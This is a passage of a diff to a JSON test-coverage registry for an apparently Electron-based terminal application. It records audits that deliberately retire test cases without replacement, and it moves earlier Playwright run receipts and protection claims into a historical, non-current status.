selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): The main IPC contract test subscribes terminal.multiplex through the real handler, disconnects the environment, and asserts the renderer received exactly one {type: close} subscription event. Two isolation tests subscribe a second stream to the same environment and make the first one fail -- in its socket close, and in the liveness probe inside notifyClosed -- then assert the disconnect does not throw, both transports closed, and every close the renderer could still receive was delivered. A third drives a host-initiated close through the transport callback, which is the one notifyClosed call site with no surrounding guard, with a renderer send that throws, and asserts it cannot escape into the WebSocket close handler. A fourth test asserts that after retirement a late response frame is not forwarded and a late transport close does not re-send. The paired-server journey runs three reveal scenarios against one real host and one real paired desktop client, and for each records buffer restore, host-side receipt of the typed marker through an out-of-band host sink file, live paint without a tab flip, and PTY-versus-pane grid convergence.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 60, - "scope": "focused runtime environment IPC tests plus one headed paired-server reveal journey" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. focused runtime environment IPC tests plus one headed paired-server reveal journey" }, "flakeHistory": { - "status": "unknown", - "evidence": "Deterministic IPC coverage plus the three recorded paired-server journey runs, which passed consecutively on macOS at 14.7-15.5s; the spec also passed once on a shared CI runner. Longer soak history is not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Deterministic IPC coverage plus the three recorded paired-server journey runs, which passed consecutively on macOS at 14.7-15.5s; the spec also passed once on a shared CI runner. Longer soak history is not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): On main the paired-server journey reproduced a blank, non-interactive pane after revealing a cold-parked remote terminal across a reconnect: recoveryState stayed connecting, the xterm buffer stayed empty, typed input never reached the host sink, a tab flip did not recover it, and the PTY stayed at the host 128x60 grid. Renderer instrumentation showed the multiplexer reusing a dead subscription (ensureConnected reuse-ready) and never receiving a subscribed event. Reverting the main-side fix also turns the close-delivery IPC test red; with the fix the multiplexer observes handleClose, reconnects fresh, and every scenario passes." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): On main the paired-server journey reproduced a blank, non-interactive pane after revealing a cold-parked remote terminal across a reconnect: recoveryState stayed connecting, the xterm buffer stayed empty, typed input never reached the host sink, a tab flip did not recover it, and the PTY stayed at the host 128x60 grid. Renderer instrumentation showed the multiplexer reusing a dead subscription (ensureConnected reuse-ready) and never receiving a subscribed event. Reverting the main-side fix also turns the close-delivery IPC test red; with the fix the multiplexer observes handleClose, reconnects fresh, and every scenario passes." }, "performanceBudget": { "required": true, - "evidence": "The fix adds one boolean latch and at most one extra IPC send per retired subscription, on a path that already tears the subscription down. It introduces no timer, poll, retry, subprocess, or per-frame work, and the close is deduplicated so a transport-driven close after an environment-wide retirement sends nothing." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. The fix adds one boolean latch and at most one extra IPC send per retired subscription, on a path that already tears the subscription down. It introduces no timer, poll, retry, subprocess, or per-frame work, and the close is deduplicated so a transport-driven close after an environment-wide retirement sends nothing." }, "promotionCriteria": [ "Collect at least 100 consecutive CI or soak passes or 14 days without an unexplained flake.", @@ -3918,7 +3687,13 @@ "Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope.", "Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope.", "Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed.", - "Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed." + "Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-03\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 15.5,\n \"summary\": \"All three reveal scenarios restored their buffer, delivered typed input to the host PTY, painted live without a tab flip, and converged the PTY on the 135x60 pane grid. Before the fix the reconnect-parked scenario stayed blank at recoveryState connecting with the PTY stranded at the host 128x60 grid.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-03\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 15.5,\n \"summary\": \"Repeat run on a clean uninstrumented build; all three scenarios green with identical grids.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-03\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 14.7,\n \"summary\": \"Third consecutive pass after the review follow-ups (env save/restore and the hidden-mounted stayed-mounted assertion).\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts\",\n \"pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\"tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts\",\n \"assertions\": [\n \"a revealed hidden-but-mounted remote terminal restores, accepts input, and paints live\",\n \"a revealed cold-parked remote terminal restores, accepts input, and paints live\",\n \"a cold-parked remote terminal revealed after a runtime disconnect and reconnect restores, accepts input, and paints live\",\n \"the host PTY grid converges on the revealed pane grid in every scenario\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts\"],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"remote-runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): On main the paired-server journey reproduced a blank, non-interactive pane after revealing a cold-parked remote terminal across a reconnect: recoveryState stayed connecting, the xterm buffer stayed empty, typed input never reached the host sink, a tab flip did not recover it, and the PTY stayed at the host 128x60 grid. Renderer instrumentation showed the multiplexer reusing a dead subscription (ensureConnected reuse-ready) and never receiving a subscribed event. Reverting the main-side fix also turns the close-delivery IPC test red; with the fix the multiplexer observes handleClose, reconnects fresh, and every scenario passes.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Deterministic IPC coverage plus the three recorded paired-server journey runs, which passed consecutively on macOS at 14.7-15.5s; the spec also passed once on a shared CI runner. Longer soak history is not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":60,\"scope\":\"focused runtime environment IPC tests plus one headed paired-server reveal journey\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"The fix adds one boolean latch and at most one extra IPC send per retired subscription, on a path that already tears the subscription down. It introduces no timer, poll, retry, subprocess, or per-frame work, and the close is deduplicated so a transport-driven close after an environment-wide retirement sends nothing.\"}}" ], "demotionRule": "Demote if a retired runtime transport can leave a renderer subscription without a close event, if a close is delivered more than once, if one failing teardown strands its sibling subscriptions, if payload frames from a retired transport reach the renderer, or if a revealed remote terminal can stay blank or reject input after a reconnect." }, @@ -3926,7 +3701,7 @@ "id": "browser-session.remote-terminal-link-ownership", "title": "Paired terminal links open one browser on their owning runtime", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "browser-runtime", "layer": "renderer-paired-runtime-routing", "surfaces": [ @@ -3936,66 +3711,34 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["remote-runtime", "ssh"], - "coveredPlatforms": ["macos"], + "coveredPlatforms": [], "coveredProviders": [], - "coverageNotes": "Audit1931 (sources1928/1929): Delete both complete runtime-host HTTP-link and link-action routing suites. Lose supplied OSC/WebLinksAddon/fallback/direct-SSH opener forwarding, manufactured gesture/mouse-ownership and local/remote destination/popover/URI argument matrices. Remove both duplicate unit commands rather than creating an unfiltered test command. Retire the two runtime-link aliases. Preserve unchanged paired Electron selectors and their own dated receipts; they are not equivalent replacements for removed unit cases. No real browser, SSH transport, pointer gesture or rendered popover ran in the deleted suites. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A headed macOS desktop host and separate paired Electron client exercise a real mirrored terminal link, owner-asserted host browser creation, exact host/client page identity, rendered DOM, explicit browser-tab activation, client external-browser suppression, exact host/client close convergence, and continued original-PTY liveness. Unit contracts cover OSC, WebLinksAddon, click fallback, explicit System Browser routing, failed creation, and unchanged direct SSH behavior. The test-value audit removed separate supplied owner/capability wrapper examples; their coverage loss is accepted. Audit1342: src/renderer/src/lib/workspace-browser-tab-open.test.ts removed. Asserted/unknown runtime create fallback refusal, invalid URL/unresolved owner and query-free error envelope alarms disappear. src/renderer/src/components/terminal-pane/terminal-link-open-hints.test.ts removed. Default/inverted/Mac/Ctrl/action-menu wording and local/remote/SSH/capability hint-option matrices disappear. No equivalent replacement coverage is claimed.", + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit1931 (sources1928/1929): Delete both complete runtime-host HTTP-link and link-action routing suites. Lose supplied OSC/WebLinksAddon/fallback/direct-SSH opener forwarding, manufactured gesture/mouse-ownership and local/remote destination/popover/URI argument matrices. Remove both duplicate unit commands rather than creating an unfiltered test command. Retire the two runtime-link aliases. Preserve unchanged paired Electron selectors and their own dated receipts; they are not equivalent replacements for removed unit cases. No real browser, SSH transport, pointer gesture or rendered popover ran in the deleted suites. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A headed macOS desktop host and separate paired Electron client exercise a real mirrored terminal link, owner-asserted host browser creation, exact host/client page identity, rendered DOM, explicit browser-tab activation, client external-browser suppression, exact host/client close convergence, and continued original-PTY liveness. Unit contracts cover OSC, WebLinksAddon, click fallback, explicit System Browser routing, failed creation, and unchanged direct SSH behavior. The test-value audit removed separate supplied owner/capability wrapper examples; their coverage loss is accepted. Audit1342: src/renderer/src/lib/workspace-browser-tab-open.test.ts removed. Asserted/unknown runtime create fallback refusal, invalid URL/unresolved owner and query-free error envelope alarms disappear. src/renderer/src/components/terminal-pane/terminal-link-open-hints.test.ts removed. Default/inverted/Mac/Ctrl/action-menu wording and local/remote/SSH/capability hint-option matrices disappear. No equivalent replacement coverage is claimed.", "motivatingLinks": [ "https://stablygroup.slack.com/archives/C0AK2T3JEF4/p1786567689897109", "https://github.com/stablyai/orca/issues/12418" ], "invariant": "Selecting Orca Browser for an HTTP link in a runtime-owned terminal creates exactly one browser page on that owning runtime and exactly one mirrored client browser workspace, with matching remote page identity and no client external-browser call. Explicit System Browser remains client-owned, direct SSH remains system-browser-only, and unknown or mismatched owners fail closed.", - "oracle": "Audit1931 (sources1928/1929): Delete both complete runtime-host HTTP-link and link-action routing suites. Lose supplied OSC/WebLinksAddon/fallback/direct-SSH opener forwarding, manufactured gesture/mouse-ownership and local/remote destination/popover/URI argument matrices. Remove both duplicate unit commands rather than creating an unfiltered test command. Retire the two runtime-link aliases. Preserve unchanged paired Electron selectors and their own dated receipts; they are not equivalent replacements for removed unit cases. No real browser, SSH transport, pointer gesture or rendered popover ran in the deleted suites. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Use the focused routing contracts as the byte-identical baseline/candidate oracle. Require 